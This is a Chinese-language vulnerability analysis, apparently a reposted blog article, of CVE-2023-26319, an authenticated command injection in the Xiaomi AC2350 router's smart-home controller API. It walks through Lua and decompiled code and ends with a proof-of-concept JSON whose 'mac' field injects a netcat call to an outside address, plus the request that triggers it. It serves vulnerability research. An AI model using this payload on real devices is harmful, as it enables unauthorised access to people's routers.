小米路由器漏洞分析 (一)
2023-11-8 18:42:44 Author: 3072(查看原文) 阅读量:18 收藏

背景

此次分析的设备为 MI AIoT Router AC2350分析的漏洞编号为CVE-2023-26319

该路由器基于OpenWrt,因此web服务都是基于OpenWrt的lua包,路由器架构为32位大端MIPS,且大部分二进制没有PIE,NX,canary等防护。

攻击面分析

WIFI路由器的攻击面可以按照WAN口,LAN口,未授权和授权来划分,CVE-2023-26319是一个LAN口的需要授权的命令注入漏洞

针对LAN口的漏洞可以可以通过搜索包含 entry({"api" 字符串的源文件来收集web接口

soeasy@ubuntu:~/router/fs $ grep -Rs "entry({\"api"
[...]
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wifi_weak"}, call("setWifiWeakInfo"), (""), 286)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "get_wifi_weak"}, call("getWifiWeakInfo"), (""), 287)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wan6"}, call("setWan6"), (""), 223, 0x08)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "ipv6_status"}, call("ipv6Status"), (""), 223, 0x08)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "miscan_switch"}, call("miscanSwitch"), (""), 290)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "get_miscan_switch"}, call("getMiscanSwitch"), (""), 291)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wifi_txbf"}, call("setWifiTxbf"), (""), 295)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wifi_ax"}, call("setWifiAx"), (""), 296)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome"}, firstchild(), _(""), 500)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request"}, call("tunnelSmartHomeRequest"), _(""), 501)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_miio"}, call("tunnelMiioRequest"), _(""), 503)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_mitv"}, call("requestMitv"), _(""), 504)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_yeelink"}, call("tunnelYeelink"), _(""), 505)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_camera"}, call("requestCamera"), _(""), 506)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_miiolist"}, call("requestMiioList"), _(""), 507)

soeasy@ubuntu:~/router/fs $ grep -Rs "entry({\"api" | wc -l
476

每一行的解释如下所示

--- API endpoint: `/api/xqnetwork/pppoe_catch` - Corresponding Lua function: `pppoeCatch()` - Authorization Flag: `0x09`
entry({"api", "xqnetwork", "pppoe_catch"}, call("pppoeCatch"), (""), 264, 0x09)

CVE-2023-26319 漏洞细节

漏洞接口为/api/xqsmarthome/request_smartcontroller

在/usr/lib/lua/luci/controller/api/xqsmarthome.lua中实现,漏洞参数为payload


function index()
    local page   = node("api","xqsmarthome")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 500
    -- We have to be authenticated to access this API
    page.sysauth = "admin"
    page.sysauth_authenticator = "jsonauth"
    page.index = true
    entry({"api""xqsmarthome"}, firstchild(), _(""), 500)
    entry({"api""xqsmarthome""request"}, call("tunnelSmartHomeRequest"), _(""), 501)
    -- API endpoint `request_smartcontroller` is defined here 
    entry({"api""xqsmarthome""request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
    entry({"api""xqsmarthome""request_miio"}, call("tunnelMiioRequest"), _(""), 503)
    entry({"api""xqsmarthome""request_mitv"}, call("requestMitv"), _(""), 504)
    entry({"api""xqsmarthome""request_yeelink"}, call("tunnelYeelink"), _(""), 505)
    entry({"api""xqsmarthome""request_camera"}, call("requestCamera"), _(""), 506)
    entry({"api""xqsmarthome""request_miiolist"}, call("requestMiioList"), _(""), 507
end

[...]

function tunnelSmartControllerRequest()
    local XQLog = require("xiaoqiang.XQLog")
    local XQCryptoUtil = require("xiaoqiang.util.XQCryptoUtil")
    local LuciJson = require("json")
    local http_data = LuciJson.decode(LuciHttp.formvalue("payload"))
    -- Our `payload` is base64 encoded
    local payload = XQCryptoUtil.binaryBase64Enc(LuciHttp.formvalue("payload"))

    [...]

    local cmd = XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER % payload
    local LuciUtil = require("luci.util")
    -- Some command containing our `payload` is executed here
    LuciHttp.write(LuciUtil.exec(cmd))
end

可以发现payload被base64编码后进行了格式化字符串,XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER后续传入LuciUtil.exec。XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER其值如下。

THRIFT_TUNNEL_TO_DATACENTER = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = "thrifttunnel 2 '%s'"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_GET_SN = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_DEVICEID = "thrifttunnel 5 ''"
THRIFT_TUNNEL_TO_MIIO = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_YEELINK = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = "thrifttunnel 8 '%s'"

可以发现payload会被传到thrifttunnel这个二进制文件中 通过逆向thrifttunnel这个文件可以发现如下逻辑,payload会被传给一个smartcontroller的服务

// _ftext is basically the main function of the `thrifttunnelbinary
int32_t _ftext(int32_t argc, char** argv, char** envp) {
    [...]
    case 2:
    {
        uloop_init();
        int32_t _ubus_ctx = ubus_connect(data_412050);
        ubus_ctx = _ubus_ctx;
        int32_t ubus_id;

        if (_ubus_ctx != 0)
        {
            uloop_fd_add((_ubus_ctx + 0x2c), 9);
            ubus_id = ubus_lookup_id(ubus_ctx, "smartcontroller"0x412074);
            
            if (ubus_id == 0)
            {
                blob_buf_init(0x41205c0);
                blobmsg_add_field(0x41205c3"request", s2_1, (strlen(s2_1) + 1));
                s0_4 = nullptr;
                int32_t v0_19 = ubus_invoke_fd(ubus_ctx, data_412074, "process_request", data_41205c, 0x400f0000x13880xffffffff);
                a0_11 = ubus_ctx;
    [...]

继续分析smartconroller文件,可以发现通过mac参数进行命令注入,这个漏洞位于0x4061d4,这里函数被重命名为run_sysapi_macfilter

int32_t run_cmd(char* cmd)
{
    int32_t ret = 0;

    if (is_empty_str(cmd) == 0)
    {
        log(2"system command: %s\n", cmd);
        int32_t system_res;
        int32_t a2_2;

        // Command executed using the `sytem()` function
        system_res = system(cmd);
        ret = 1;

        if (system_res != 0)
        {
            log(2"system call error\n", a2_2);
            ret = 0;
        }
    }
    return ret;
}

// the `mac` parameter is user controlled
int32_t run_sysapi_macfilter(char* mac, int32_t enabled)
{
    char* const yes_no;
    char cmd_buffer[0x64];
    memset(&cmd_buffer, 00x64);
    
    if (enable != 0)
    {
        yes_no = "no";
    }
    else
    {
        yes_no = "yes";
    }

    sprintf(&cmd_buffer,
            "/usr/sbin/sysapi macfilter set mac=%s wan=%s;/usr/sbin/sysapi macfilter commit",
            mac,
            a3);
    // `mac` is directly injected into `system()`!
    return run_cmd(&cmd_buffer);
}

继续逆向smartconroller可以发现使用的payload必须要格式化为JSON格式且带有"commmand"值,具体的command种类可以通过下面这个函数确定

int32_t scene_command_parser(char* command)
{
    void* json_object;
    int32_t a2;
    json_object = json_tokener_parse(command);
    char const* const error_msg;
    if (json_object == 0)
    {
        error_msg = "request is not a json object\n";
    }
    else
    {
        void* cmd_json_object;
        cmd_json_object = json_object_object_get(json_object, "command");
        if (cmd_json_object != 0)
        {
            int32_t cmd_string = json_object_get_string(cmd_json_object);
            int32_t s0_3;
            int32_t v0_11;
            if (strcmp(cmd_string, "scene_setting") == 0)
            {
                int32_t v0_12;
                int32_t a2_6;
                v0_12 = strcmp(cmd_string, "get_scene_setting");
                if (v0_12 == 0)
                {
                    if (strcmp(cmd_string, "get_single_scene_setting") == 0)
                    {
                        if (strcmp(cmd_string, "get_multiple_scene_setting") == 0)
                        {
                            if (strcmp(cmd_string, "scene_update") == 0)
                            {
                                if (strcmp(cmd_string, "scene_start") == 0)
                                {
                                    if (strcmp(cmd_string, "scene_stop") == 0)
                                    {
                                        if (strcmp(cmd_string, "scene_launch") == 0)
                                        {
                                            if (strcmp(cmd_string, "scene_launch_delete") == 0)
                                            {
                                                if (strcmp(cmd_string, "scene_delete") == 0)
                                                {
                                                    if (strcmp(cmd_string, "scene_start_by_device_status") == 0)
                                                    {
                                                        if (strcmp(cmd_string, "is_scene_processing") == 0)
                                                        {
                                                            if (strcmp(cmd_string, "get_scene_count") == 0)
                                                            {
                                                                if (strcmp(cmd_string, "reset_scenes") == 0)
                                                                {
                                                                    if (strcmp(cmd_string, "scene_start_by_crontab") != 0)
                                                                    {

通过交叉引用可以发现上面提到run_sysapi_macfilter唯一被scene_setting这个command所引用,所以针对API /api/xqsmarthome/request_smartcontroller 的命令注入的POC如下,通过创建一个新的"scene"且包含 scene_setting command,其中MAC地址包含了命令注入的payload

{
    "command":"scene_setting",
    "name":"it3",
    "action_list":[
            {
                "thirdParty":"xmrouter",
                "delay":17,
                "type":"wan_block",
                "payload":
                    {
                        "command":"wan_block",
                        // Command Injection - making an exterior connection
                        "mac":";nc 192.168.31.161 4242;#"
                    }
            }
        ],
    "launch":
        {
            "timer":
                {
                    "time":"2:2",
                    "repeat":"0",
                    "enabled":true
                }
        }
}

之后通过 scene_start_by_crontab 来启动scene

{
    "command":"scene_start_by_crontab",
    "time":"2:2",
    "week":0
}

参考链接

https://blog.thalium.re/posts/rooting-xiaomi-wifi-routers/


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4OTk0NDMzOA==&mid=2247484085&idx=1&sn=e820e7e10563a2521a8baf846e56e259&chksm=fdc481c8cab308deb601e53025ce0d800a920de23ef794128aa442fc2f8da35473eec5f64b53&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh